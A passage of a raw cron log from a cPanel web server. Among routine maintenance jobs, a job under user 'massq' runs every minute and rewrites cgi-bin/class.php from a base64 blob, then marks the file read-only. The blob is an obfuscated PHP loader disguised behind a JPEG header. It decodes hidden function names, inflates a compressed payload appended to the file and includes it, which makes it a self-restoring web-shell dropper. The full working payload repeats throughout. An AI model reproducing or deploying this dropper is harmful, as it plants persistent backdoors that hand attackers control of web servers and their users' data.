yoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:48:01 server CROND[4633]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:48:01 server CROND[4634]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:48:01 server CROND[4635]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:49:01 server CROND[5034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:49:01 server CROND[5035]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:49:01 server CROND[5036]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:50:01 server CROND[5590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:50:01 server CROND[5591]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 12:50:01 server CROND[5593]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 12:50:01 server CROND[5594]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:50:01 server CROND[5597]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 12:50:01 server CROND[5599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:50:01 server CROND[5596]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 12:50:01 server CROND[5598]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 12:50:01 server CROND[5600]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 12:51:01 server CROND[6542]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:51:01 server CROND[6543]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:51:01 server CROND[6544]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:52:01 server CROND[6944]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:52:01 server CROND[6945]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:52:01 server CROND[6946]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:53:01 server CROND[7348]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:53:01 server CROND[7347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:53:01 server CROND[7349]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:54:01 server CROND[7739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:54:01 server CROND[7740]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:54:01 server CROND[7741]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:55:01 server CROND[8132]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 12:55:01 server CROND[8134]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:55:01 server CROND[8136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:55:01 server CROND[8138]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 12:55:01 server CROND[8137]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 12:55:01 server CROND[8151]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 12:55:01 server CROND[8152]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:56:01 server CROND[9089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:56:01 server CROND[9088]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:56:01 server CROND[9090]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:57:01 server CROND[9476]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:57:01 server CROND[9478]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:57:01 server CROND[9477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:57:01 server CROND[9479]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 12:58:01 server CROND[9872]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:58:01 server CROND[9873]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:58:01 server CROND[9874]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:59:01 server CROND[10256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:59:01 server CROND[10257]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:59:01 server CROND[10258]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
